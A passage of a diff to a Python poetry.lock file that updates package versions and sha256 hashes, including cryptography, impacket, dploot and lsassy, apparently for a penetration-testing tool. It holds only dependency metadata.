"sha256:62ed00203dee645d99422a1dc1efdd5ca108048e8c047a239c3be0a690f6abb6"}, + {file = "arc4-0.4.0-cp38-cp38-win_amd64.whl", hash = "sha256:eb5eb33e3c68d68c548355aead25843502d3d1b909fa2e3b3f2520d467708af5"}, + {file = "arc4-0.4.0-cp39-cp39-macosx_11_0_x86_64.whl", hash = "sha256:779d1b53c75e66edd023b9240dbd00df7b241ab50b6a4ea86ab97117dbbff86f"}, + {file = "arc4-0.4.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b935c41b8691001b6a6746c2611a0a76962720a83688501dac8f3c74f9db4f34"}, + {file = "arc4-0.4.0-cp39-cp39-win_amd64.whl", hash = "sha256:f419c08cfb2cc8f374725a76dd8fd40d87b6a0e236774cb3307f2f51f6794c1f"}, + {file = "arc4-0.4.0-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:19d130ec333d9be891b156c02a4436b002ac486bc072644a453fabdfbe0354f8"}, + {file = "arc4-0.4.0-pp37-pypy37_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e284d731da57f3c036c2497db47baf198057777f71670fe84d84347615df3e9f"}, + {file = "arc4-0.4.0-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:24d5aaf57494219651e15e260c4d3747c99764b94ea6fc46b09031c3ed2ef9d3"}, + {file = "arc4-0.4.0-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:b1c72ceaff1b366d25ca5945ed381a520a8116195b7a4b0a69aaccac3f00d7ae"}, + {file = "arc4-0.4.0-pp38-pypy38_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9954ee25a0687b1076791ae92cacb20c152fad2bf5bdac608f4c9472d76e83f0"}, + {file = "arc4-0.4.0-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:15603d81bbb990038dfe7f7a424d16549161b2d5c1e216097cb065023895f398"}, + {file = "arc4-0.4.0-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:516e4fb4543e2a7c958b6fffb7658ba905b25b30af387b54c872418d87192fe6"}, + {file = "arc4-0.4.0-pp39-pypy39_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8e5137eeb8f4c6f0c3bd23731c58359d554722b08119156058c99c337e78adb0"}, + {file = "arc4-0.4.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:3da0dd7b6dd38c71af105aebef42bf587a624a0b26231717f1dcc53f36ab14d6"}, + {file = "arc4-0.4.0.tar.gz", hash = "sha256:d431b53d11b24d62521dbbd06d755bf9d6d11a03cc7bbbdf37a13a12ee0747b6"}, ] [[package]] @@ -246,25 +245,6 @@ files = [ [package.dependencies] asn1crypto = "*" -[[package]] -name = "attrs" -version = "22.2.0" -description = "Classes Without Boilerplate" -category = "main" -optional = false -python-versions = ">=3.6" -files = [ - {file = "attrs-22.2.0-py3-none-any.whl", hash = "sha256:29e95c7f6778868dbd49170f98f8818f78f3dc5e0e37c0b1f474e3561b240836"}, - {file = "attrs-22.2.0.tar.gz", hash = "sha256:c9227bfc2f01993c03f68db37d1d15c9690188323c067c641f1a35ca58185f99"}, -] - -[package.extras] -cov = ["attrs[tests]", "coverage-enable-subprocess", "coverage[toml] (>=5.3)"] -dev = ["attrs[docs,tests]"] -docs = ["furo", "myst-parser", "sphinx", "sphinx-notfound-page", "sphinxcontrib-towncrier", "towncrier", "zope.interface"] -tests = ["attrs[tests-no-zope]", "zope.interface"] -tests-no-zope = ["cloudpickle", "cloudpickle", "hypothesis", "hypothesis", "mypy (>=0.971,<0.990)", "mypy (>=0.971,<0.990)", "pympler", "pympler", "pytest (>=4.3.0)", "pytest (>=4.3.0)", "pytest-mypy-plugins", "pytest-mypy-plugins", "pytest-xdist[psutil]", "pytest-xdist[psutil]"] - [[package]] name = "bcrypt" version = "4.0.1" @@ -302,14 +282,14 @@ typecheck = ["mypy"] [[package]] name = "beautifulsoup4" -version = "4.12.0" +version = "4.12.2" description = "Screen-scraping library" category = "main" optional = false python-versions = ">=3.6.0" files = [ - {file = "beautifulsoup4-4.12.0-py3-none-any.whl", hash = "sha256:2130a5ad7f513200fae61a17abb5e338ca980fa28c439c0571014bc0217e9591"}, - {file = "beautifulsoup4-4.12.0.tar.gz", hash = "sha256:c5fceeaec29d09c84970e47c65f2f0efe57872f7cff494c9691a26ec0ff13234"}, + {file = "beautifulsoup4-4.12.2-py3-none-any.whl", hash = "sha256:bd2520ca0d9d7d12694a53d44ac482d181b4ec1888909b035a3dbf40d0f57d4a"}, + {file = "beautifulsoup4-4.12.2.tar.gz", hash = "sha256:492bbc69dca35d12daac71c4db1bfff0c876c00ef4a2ffacce226d4638eb72da"}, ] [package.dependencies] @@ -390,14 +370,14 @@ beautifulsoup4 = "*" [[package]] name = "certifi" -version = "2022.12.7" +version = "2023.5.7" description = "Python package for providing Mozilla's CA Bundle." category = "main" optional = false python-versions = ">=3.6" files = [ - {file = "certifi-2022.12.7-py3-none-any.whl", hash = "sha256:4ad3232f5e926d6718ec31cfc1fcadfde020920e278684144551c91769c7bc18"}, - {file = "certifi-2022.12.7.tar.gz", hash = "sha256:35824b4c3a97115964b408844d64aa14db1cc518f6562e8d7261699d1350a9e3"}, + {file = "certifi-2023.5.7-py3-none-any.whl", hash = "sha256:c6c2e98f5c7869efca1f8916fed228dd91539f9f1b444c314c06eef02980c716"}, + {file = "certifi-2023.5.7.tar.gz", hash = "sha256:0f0d56dc5a6ad56fd4ba36484d6cc34451e1c6548c61daad8c320169f91eddc7"}, ] [[package]] @@ -592,35 +572,31 @@ files = [ [[package]] name = "cryptography" -version = "39.0.2" +version = "40.0.2" description = "cryptography is a package which provides cryptographic recipes and primitives to Python developers." category = "main" optional = false python-versions = ">=3.6" files = [ - {file = "cryptography-39.0.2-cp36-abi3-macosx_10_12_universal2.whl", hash = "sha256:2725672bb53bb92dc7b4150d233cd4b8c59615cd8288d495eaa86db00d4e5c06"}, - {file = "cryptography-39.0.2-cp36-abi3-macosx_10_12_x86_64.whl", hash = "sha256:23df8ca3f24699167daf3e23e51f7ba7334d504af63a94af468f468b975b7dd7"}, - {file = "cryptography-39.0.2-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:eb40fe69cfc6f5cdab9a5ebd022131ba21453cf7b8a7fd3631f45bbf52bed612"}, - {file = "cryptography-39.0.2-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bc0521cce2c1d541634b19f3ac661d7a64f9555135e9d8af3980965be717fd4a"}, - {file = "cryptography-39.0.2-cp36-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ffd394c7896ed7821a6d13b24657c6a34b6e2650bd84ae063cf11ccffa4f1a97"}, - {file = "cryptography-39.0.2-cp36-abi3-manylinux_2_24_x86_64.whl", hash = "sha256:e8a0772016feeb106efd28d4a328e77dc2edae84dfbac06061319fdb669ff828"}, - {file = "cryptography-39.0.2-cp36-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:8f35c17bd4faed2bc7797d2a66cbb4f986242ce2e30340ab832e5d99ae60e011"}, - {file = "cryptography-39.0.2-cp36-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:b49a88ff802e1993b7f749b1eeb31134f03c8d5c956e3c125c75558955cda536"}, - {file = "cryptography-39.0.2-cp36-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:5f8c682e736513db7d04349b4f6693690170f95aac449c56f97415c6980edef5"}, - {file = "cryptography-39.0.2-cp36-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:d7d84a512a59f4412ca8549b01f94be4161c94efc598bf09d027d67826beddc0"}, - {file = "cryptography-39.0.2-cp36-abi3-win32.whl", hash = "sha256:c43ac224aabcbf83a947eeb8b17eaf1547bce3767ee2d70093b461f31729a480"}, - {file = "cryptography-39.0.2-cp36-abi3-win_amd64.whl", hash = "sha256:788b3921d763ee35dfdb04248d0e3de11e3ca8eb22e2e48fef880c42e1f3c8f9"}, - {file = "cryptography-39.0.2-pp38-pypy38_pp73-macosx_10_12_x86_64.whl", hash = "sha256:d15809e0dbdad486f4ad0979753518f47980020b7a34e9fc56e8be4f60702fac"}, - {file = "cryptography-39.0.2-pp38-pypy38_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:50cadb9b2f961757e712a9737ef33d89b8190c3ea34d0fb6675e00edbe35d074"}, - {file = "cryptography-39.0.2-pp38-pypy38_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:103e8f7155f3ce2ffa0049fe60169878d47a4364b277906386f8de21c9234aa1"}, - {file = "cryptography-39.0.2-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:6236a9610c912b129610eb1a274bdc1350b5df834d124fa84729ebeaf7da42c3"}, - {file = "cryptography-39.0.2-pp39-pypy39_pp73-macosx_10_12_x86_64.whl", hash = "sha256:e944fe07b6f229f4c1a06a7ef906a19652bdd9fd54c761b0ff87e83ae7a30354"}, - {file = "cryptography-39.0.2-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:35d658536b0a4117c885728d1a7032bdc9a5974722ae298d6c533755a6ee3915"}, - {file = "cryptography-39.0.2-pp39-pypy39_pp73-manylinux_2_24_x86_64.whl", hash = "sha256:30b1d1bfd00f6fc80d11300a29f1d8ab2b8d9febb6ed4a38a76880ec564fae84"}, - {file = "cryptography-39.0.2-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:e029b844c21116564b8b61216befabca4b500e6816fa9f0ba49527653cae2108"}, - {file = "cryptography-39.0.2-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:fa507318e427169ade4e9eccef39e9011cdc19534f55ca2f36ec3f388c1f70f3"}, - {file = "cryptography-39.0.2-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:8bc0008ef798231fac03fe7d26e82d601d15bd16f3afaad1c6113771566570f3"}, - {file = "cryptography-39.0.2.tar.gz", hash = "sha256:bc5b871e977c8ee5a1bbc42fa8d19bcc08baf0c51cbf1586b0e87a2694dde42f"}, + {file = "cryptography-40.0.2-cp36-abi3-macosx_10_12_universal2.whl", hash = "sha256:8f79b5ff5ad9d3218afb1e7e20ea74da5f76943ee5edb7f76e56ec5161ec782b"}, + {file = "cryptography-40.0.2-cp36-abi3-macosx_10_12_x86_64.whl", hash = "sha256:05dc219433b14046c476f6f09d7636b92a1c3e5808b9a6536adf4932b3b2c440"}, + {file = "cryptography-40.0.2-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4df2af28d7bedc84fe45bd49bc35d710aede676e2a4cb7fc6d103a2adc8afe4d"}, + {file = "cryptography-40.0.2-cp36-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0dcca15d3a19a66e63662dc8d30f8036b07be851a8680eda92d079868f106288"}, + {file = "cryptography-40.0.2-cp36-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:a04386fb7bc85fab9cd51b6308633a3c271e3d0d3eae917eebab2fac6219b6d2"}, + {file = "cryptography-40.0.2-cp36-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:adc0d980fd2760c9e5de537c28935cc32b9353baaf28e0814df417619c6c8c3b"}, + {file = "cryptography-40.0.2-cp36-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:d5a1bd0e9e2031465761dfa920c16b0065ad77321d8a8c1f5ee331021fda65e9"}, + {file = "cryptography-40.0.2-cp36-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:a95f4802d49faa6a674242e25bfeea6fc2acd915b5e5e29ac90a32b1139cae1c"}, + {file = "cryptography-40.0.2-cp36-abi3-win32.whl", hash = "sha256:aecbb1592b0188e030cb01f82d12556cf72e218280f621deed7d806afd2113f9"}, + {file = "cryptography-40.0.2-cp36-abi3-win_amd64.whl", hash = "sha256:b12794f01d4cacfbd3177b9042198f3af1c856eedd0a98f10f141385c809a14b"}, + {file = "cryptography-40.0.2-pp38-pypy38_pp73-macosx_10_12_x86_64.whl", hash = "sha256:142bae539ef28a1c76794cca7f49729e7c54423f615cfd9b0b1fa90ebe53244b"}, + {file = "cryptography-40.0.2-pp38-pypy38_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:956ba8701b4ffe91ba59665ed170a2ebbdc6fc0e40de5f6059195d9f2b33ca0e"}, + {file = "cryptography-40.0.2-pp38-pypy38_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:4f01c9863da784558165f5d4d916093737a75203a5c5286fde60e503e4276c7a"}, + {file = "cryptography-40.0.2-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:3daf9b114213f8ba460b829a02896789751626a2a4e7a43a28ee77c04b5e4958"}, + {file = "cryptography-40.0.2-pp39-pypy39_pp73-macosx_10_12_x86_64.whl", hash = "sha256:48f388d0d153350f378c7f7b41497a54ff1513c816bcbbcafe5b829e59b9ce5b"}, + {file = "cryptography-40.0.2-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:c0764e72b36a3dc065c155e5b22f93df465da9c39af65516fe04ed3c68c92636"}, + {file = "cryptography-40.0.2-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:cbaba590180cba88cb99a5f76f90808a624f18b169b90a4abb40c1fd8c19420e"}, + {file = "cryptography-40.0.2-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:7a38250f433cd41df7fcb763caa3ee9362777fdb4dc642b9a349721d2bf47404"}, + {file = "cryptography-40.0.2.tar.gz", hash = "sha256:c33c0d32b8594fa647d2e01dbccc303478e16fdd7cf98652d5b3ed11aa5e5c99"}, ] [package.dependencies] @@ -629,10 +605,10 @@ cffi = ">=1.12" [package.extras] docs = ["sphinx (>=5.3.0)", "sphinx-rtd-theme (>=1.1.1)"] docstest = ["pyenchant (>=1.6.11)", "sphinxcontrib-spelling (>=4.0.1)", "twine (>=1.12.0)"] -pep8test = ["black", "check-manifest", "mypy", "ruff", "types-pytz", "types-requests"] +pep8test = ["black", "check-manifest", "mypy", "ruff"] sdist = ["setuptools-rust (>=0.11.4)"] ssh = ["bcrypt (>=3.1.5)"] -test = ["hypothesis (>=1.11.4,!=3.79.2)", "iso8601", "pretend", "pytest (>=6.2.0)", "pytest-benchmark", "pytest-cov", "pytest-shard (>=0.1.2)", "pytest-subtests", "pytest-xdist", "pytz"] +test = ["iso8601", "pretend", "pytest (>=6.2.0)", "pytest-benchmark", "pytest-cov", "pytest-shard (>=0.1.2)", "pytest-subtests", "pytest-xdist"] test-randomorder = ["pytest-randomly"] tox = ["tox"] @@ -674,18 +650,18 @@ wmi = ["wmi (>=1.5.1,<2.0.0)"] [[package]] name = "dploot" -version = "2.1.20" +version = "2.1.21" description = "DPAPI looting remotely in Python" category = "main" optional = false python-versions = ">=3.7,<4.0" files = [ - {file = "dploot-2.1.20-py3-none-any.whl", hash = "sha256:1258a91a96ca44bee01b935488e55d9e370035c1a973d9dabfb17f863e3a116c"}, - {file = "dploot-2.1.20.tar.gz", hash = "sha256:9fd884d31fc63682e32a5a2bb0177dd0272221749187afc95cda2759ca277dcd"}, + {file = "dploot-2.1.21-py3-none-any.whl", hash = "sha256:7c86bbe7eb87b7ba1f4689c306e64f91ea6d7567b22ba7920b5643d892b20275"}, + {file = "dploot-2.1.21.tar.gz", hash = "sha256:35554cb83887ef1cfd9bae41c638c8509b8a08e4d8aafd37d8f6e35b3de29653"}, ] [package.dependencies] -cryptography = ">=39.0.1,<40.0.0" +cryptography = ">=40.0.1,<41.0.0" impacket = ">=0.10.0,<0.11.0" lxml = "4.9.2" pyasn1 = ">=0.4.8,<0.5.0" @@ -736,14 +712,14 @@ pyflakes = ">=2.5.0,<2.6.0" [[package]] name = "flask" -version = "2.2.3" +version = "2.2.5" description = "A simple framework for building complex web applications." category = "main" optional = false python-versions = ">=3.7" files = [ - {file = "Flask-2.2.3-py3-none-any.whl", hash = "sha256:c0bec9477df1cb867e5a67c9e1ab758de9cb4a3e52dd70681f59fa40a62b3f2d"}, - {file = "Flask-2.2.3.tar.gz", hash = "sha256:7eb373984bf1c770023fce9db164ed0c3353cd0b53f130f4693da0ca756a2e6d"}, + {file = "Flask-2.2.5-py3-none-any.whl", hash = "sha256:58107ed83443e86067e41eff4631b058178191a355886f8e479e347fa1285fdf"}, + {file = "Flask-2.2.5.tar.gz", hash = "sha256:edee9b0a7ff26621bd5a8c10ff484ae28737a2410d99b0bb9a6850c7fb977aa0"}, ] [package.dependencies] @@ -856,7 +832,7 @@ files = [ [[package]] name = "impacket" -version = "0.10.1.dev1+20230316.112532.f0ac44bd" +version = "0.10.1.dev1+20230518.215801.5882b018" description = "Network protocols Constructors and Dissectors" category = "main" optional = false @@ -872,6 +848,7 @@ future = "*" ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6" ldapdomaindump = ">=0.9.0" pyasn1 = ">=0.2.3" +pyasn1_modules = "*" pycryptodomex = "*" pyOpenSSL = ">=21.0.0" six = "*" @@ -879,8 +856,8 @@ six = "*" [package.source] type = "git" url = "https://github.com/mpgn/impacket.git" -reference = "master" -resolved_reference = "f0ac44bd7bb85581e01a30f26899c4d9931a6d5e" +reference = "gkdi" +resolved_reference = "5882b0188ce26d437e6abb6e2b46965b475f784e" [[package]] name = "importlib-metadata" @@ -1043,20 +1020,20 @@ ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6" [[package]] name = "lsassy" -version = "3.1.6" +version = "3.1.8" description = "Python library to extract credentials from lsass remotely" category = "main" optional = false python-versions = ">=3.6" files = [ - {file = "lsassy-3.1.6-py3-none-any.whl", hash = "sha256:d1a0e1d57ad5e969b09b5b039e367a189fad19d45ab7299aee4081d4abdf66a6"}, - {file = "lsassy-3.1.6.tar.gz", hash = "sha256:50b6b44331b606e67087cd07edcb0e3f256dda32e59da633d068deb378df657a"}, + {file = "lsassy-3.1.8-py3-none-any.whl", hash = "sha256:1b3f6220bc18c8ce751b7f3e790385434cba5593376f3b44b56cc46e2f5bfda0"}, + {file = "lsassy-3.1.8.tar.gz", hash = "sha256:95e13d9ec2f0c2b3450ea5499b04c4dcd231aa6a5f13cf066d9354db36c70b28"}, ] [package.dependencies] impacket = "*" netaddr = "*" -pypykatz = ">=0.6.2" +pypykatz = ">=0.6.3" rich = "*" [[package]] @@ -1423,13 +1400,13 @@ files = [ [[package]] name = "neo4j" -version = "4.4.10" +version = "4.4.11" description = "Neo4j Bolt driver for Python" category = "main" optional = false python-versions = ">=3.6" files = [ - {file = "neo4j-4.4.10.tar.gz", hash = "sha256:26db4f9c8f628e53bda62f15cf2a7bfac6e2073e962da761c7164b6b122fca44"}, + {file = "neo4j-4.4.11.tar.gz", hash = "sha256:2fb4693d524e7661ed6b0ea5b4e3a6272dba2567809ecd1d63f1c896ebcfc241"}, ] [package.dependencies] @@ -1464,14 +1441,14 @@ asn1crypto = ">=1.5.1" [[package]] name = "packaging" -version = "23.0" +version = "23.1" description = "Core utilities for Python packages" category = "main" optional = false python-versions = ">=3.7" files = [ - {file = "packaging-23.0-py3-none-any.whl", hash = "sha256:714ac14496c3e68c99c29b00845f7a2b85f3bb6f1078fd9f72fd20f0570002b2"}, - {file = "packaging-23.0.tar.gz", hash = "sha256:b6ad297f8907de0fa2fe1ccbd26fdaf387f5f47c7275fedf8cce89f99446cf97"}, + {file = "packaging-23.1-py3-none-any.whl", hash = "sha256:994793af429502c4ea2ebf6bf664629d07c1a9fe974af92966e4b8d2df7edc61"}, + {file = "packaging-23.1.tar.gz", hash = "sha256:a392980d2b6cffa644431898be54b0045151319d1e7ec34f0cfed48767dd334f"}, ] [[package]] @@ -1512,125 +1489,114 @@ files = [ [[package]] name = "pillow" -version = "9.4.0" +version = "9.5.0" description = "Python Imaging Library (Fork)" category = "main" optional = false python-versions = ">=3.7" files = [ - {file = "Pillow-9.4.0-1-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:1b4b4e9dda4f4e4c4e6896f93e84a8f0bcca3b059de9ddf67dac3c334b1195e1"}, - {file = "Pillow-9.4.0-1-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:fb5c1ad6bad98c57482236a21bf985ab0ef42bd51f7ad4e4538e89a997624e12"}, - {file = "Pillow-9.4.0-1-cp37-cp37m-macosx_10_10_x86_64.whl", hash = "sha256:f0caf4a5dcf610d96c3bd32932bfac8aee61c96e60481c2a0ea58da435e25acd"}, - {file = "Pillow-9.4.0-1-cp38-cp38-macosx_10_10_x86_64.whl", hash = "sha256:3f4cc516e0b264c8d4ccd6b6cbc69a07c6d582d8337df79be1e15a5056b258c9"}, - {file = "Pillow-9.4.0-1-cp39-cp39-macosx_10_10_x86_64.whl", hash = "sha256:b8c2f6eb0df979ee99433d8b3f6d193d9590f735cf12274c108bd954e30ca858"}, - {file = "Pillow-9.4.0-1-pp38-pypy38_pp73-macosx_10_10_x86_64.whl", hash = "sha256:b70756ec9417c34e097f987b4d8c510975216ad26ba6e57ccb53bc758f490dab"}, - {file = "Pillow-9.4.0-1-pp39-pypy39_pp73-macosx_10_10_x86_64.whl", hash = "sha256:43521ce2c4b865d385e78579a082b6ad1166ebed2b1a2293c3be1d68dd7ca3b9"}, - {file = "Pillow-9.4.0-2-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:9d9a62576b68cd90f7075876f4e8444487db5eeea0e4df3ba298ee38a8d067b0"}, - {file = "Pillow-9.4.0-2-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:87708d78a14d56a990fbf4f9cb350b7d89ee8988705e58e39bdf4d82c149210f"}, - {file = "Pillow-9.4.0-2-cp37-cp37m-macosx_10_10_x86_64.whl", hash = "sha256:8a2b5874d17e72dfb80d917213abd55d7e1ed2479f38f001f264f7ce7bae757c"}, - {file = "Pillow-9.4.0-2-cp38-cp38-macosx_10_10_x86_64.whl", hash = "sha256:83125753a60cfc8c412de5896d10a0a405e0bd88d0470ad82e0869ddf0cb3848"}, - {file = "Pillow-9.4.0-2-cp39-cp39-macosx_10_10_x86_64.whl", hash = "sha256:9e5f94742033898bfe84c93c831a6f552bb629448d4072dd312306bab3bd96f1"}, - {file = "Pillow-9.4.0-2-pp38-pypy38_pp73-macosx_10_10_x86_64.whl", hash = "sha256:013016af6b3a12a2f40b704677f8b51f72cb007dac785a9933d5c86a72a7fe33"}, - {file = "Pillow-9.4.0-2-pp39-pypy39_pp73-macosx_10_10_x86_64.whl", hash = "sha256:99d92d148dd03fd19d16175b6d355cc1b01faf80dae93c6c3eb4163709edc0a9"}, - {file = "Pillow-9.4.0-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:2968c58feca624bb6c8502f9564dd187d0e1389964898f5e9e1fbc8533169157"}, - {file = "Pillow-9.4.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:c5c1362c14aee73f50143d74389b2c158707b4abce2cb055b7ad37ce60738d47"}, - {file = "Pillow-9.4.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bd752c5ff1b4a870b7661234694f24b1d2b9076b8bf337321a814c612665f343"}, - {file = "Pillow-9.4.0-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:9a3049a10261d7f2b6514d35bbb7a4dfc3ece4c4de14ef5876c4b7a23a0e566d"}, - {file = "Pillow-9.4.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:16a8df99701f9095bea8a6c4b3197da105df6f74e6176c5b410bc2df2fd29a57"}, - {file = "Pillow-9.4.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:94cdff45173b1919350601f82d61365e792895e3c3a3443cf99819e6fbf717a5"}, - {file = "Pillow-9.4.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:ed3e4b4e1e6de75fdc16d3259098de7c6571b1a6cc863b1a49e7d3d53e036070"}, - {file = "Pillow-9.4.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:d5b2f8a31bd43e0f18172d8ac82347c8f37ef3e0b414431157718aa234991b28"}, - {file = "Pillow-9.4.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:09b89ddc95c248ee788328528e6a2996e09eaccddeeb82a5356e92645733be35"}, - {file = "Pillow-9.4.0-cp310-cp310-win32.whl", hash = "sha256:f09598b416ba39a8f489c124447b007fe865f786a89dbfa48bb5cf395693132a"}, - {file = "Pillow-9.4.0-cp310-cp310-win_amd64.whl", hash = "sha256:f6e78171be3fb7941f9910ea15b4b14ec27725865a73c15277bc39f5ca4f8391"}, - {file = "Pillow-9.4.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:3fa1284762aacca6dc97474ee9c16f83990b8eeb6697f2ba17140d54b453e133"}, - {file = "Pillow-9.4.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:eaef5d2de3c7e9b21f1e762f289d17b726c2239a42b11e25446abf82b26ac132"}, - {file = "Pillow-9.4.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a4dfdae195335abb4e89cc9762b2edc524f3c6e80d647a9a81bf81e17e3fb6f0"}, - {file = "Pillow-9.4.0-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6abfb51a82e919e3933eb137e17c4ae9c0475a25508ea88993bb59faf82f3b35"}, - {file = "Pillow-9.4.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:451f10ef963918e65b8869e17d67db5e2f4ab40e716ee6ce7129b0cde2876eab"}, - {file = "Pillow-9.4.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:6663977496d616b618b6cfa43ec86e479ee62b942e1da76a2c3daa1c75933ef4"}, - {file = "Pillow-9.4.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:60e7da3a3ad1812c128750fc1bc14a7ceeb8d29f77e0a2356a8fb2aa8925287d"}, - {file = "Pillow-9.4.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:19005a8e58b7c1796bc0167862b1f54a64d3b44ee5d48152b06bb861458bc0f8"}, - {file = "Pillow-9.4.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:f715c32e774a60a337b2bb8ad9839b4abf75b267a0f18806f6f4f5f1688c4b5a"}, - {file = "Pillow-9.4.0-cp311-cp311-win32.whl", hash = "sha256:b222090c455d6d1a64e6b7bb5f4035c4dff479e22455c9eaa1bdd4c75b52c80c"}, - {file = "Pillow-9.4.0-cp311-cp311-win_amd64.whl", hash = "sha256:ba6612b6548220ff5e9df85261bddc811a057b0b465a1226b39bfb8550616aee"}, - {file = "Pillow-9.4.0-cp37-cp37m-macosx_10_10_x86_64.whl", hash = "sha256:5f532a2ad4d174eb73494e7397988e22bf427f91acc8e6ebf5bb10597b49c493"}, - {file = "Pillow-9.4.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5dd5a9c3091a0f414a963d427f920368e2b6a4c2f7527fdd82cde8ef0bc7a327"}, - {file = "Pillow-9.4.0-cp37-cp37m-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ef21af928e807f10bf4141cad4746eee692a0dd3ff56cfb25fce076ec3cc8abe"}, - {file = "Pillow-9.4.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:847b114580c5cc9ebaf216dd8c8dbc6b00a3b7ab0131e173d7120e6deade1f57"}, - {file = "Pillow-9.4.0-cp37-cp37m-manylinux_2_28_aarch64.whl", hash = "sha256:653d7fb2df65efefbcbf81ef5fe5e5be931f1ee4332c2893ca638c9b11a409c4"}, - {file = "Pillow-9.4.0-cp37-cp37m-manylinux_2_28_x86_64.whl", hash = "sha256:46f39cab8bbf4a384ba7cb0bc8bae7b7062b6a11cfac1ca4bc144dea90d4a9f5"}, - {file = "Pillow-9.4.0-cp37-cp37m-win32.whl", hash = "sha256:7ac7594397698f77bce84382929747130765f66406dc2cd8b4ab4da68ade4c6e"}, - {file = "Pillow-9.4.0-cp37-cp37m-win_amd64.whl", hash = "sha256:46c259e87199041583658457372a183636ae8cd56dbf3f0755e0f376a7f9d0e6"}, - {file = "Pillow-9.4.0-cp38-cp38-macosx_10_10_x86_64.whl", hash = "sha256:0e51f608da093e5d9038c592b5b575cadc12fd748af1479b5e858045fff955a9"}, - {file = "Pillow-9.4.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:765cb54c0b8724a7c12c55146ae4647e0274a839fb6de7bcba841e04298e1011"}, - {file = "Pillow-9.4.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:519e14e2c49fcf7616d6d2cfc5c70adae95682ae20f0395e9280db85e8d6c4df"}, - {file = "Pillow-9.4.0-cp38-cp38-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d197df5489004db87d90b918033edbeee0bd6df3848a204bca3ff0a903bef837"}, - {file = "Pillow-9.4.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0845adc64fe9886db00f5ab68c4a8cd933ab749a87747555cec1c95acea64b0b"}, - {file = "Pillow-9.4.0-cp38-cp38-manylinux_2_28_aarch64.whl", hash = "sha256:e1339790c083c5a4de48f688b4841f18df839eb3c9584a770cbd818b33e26d5d"}, - {file = 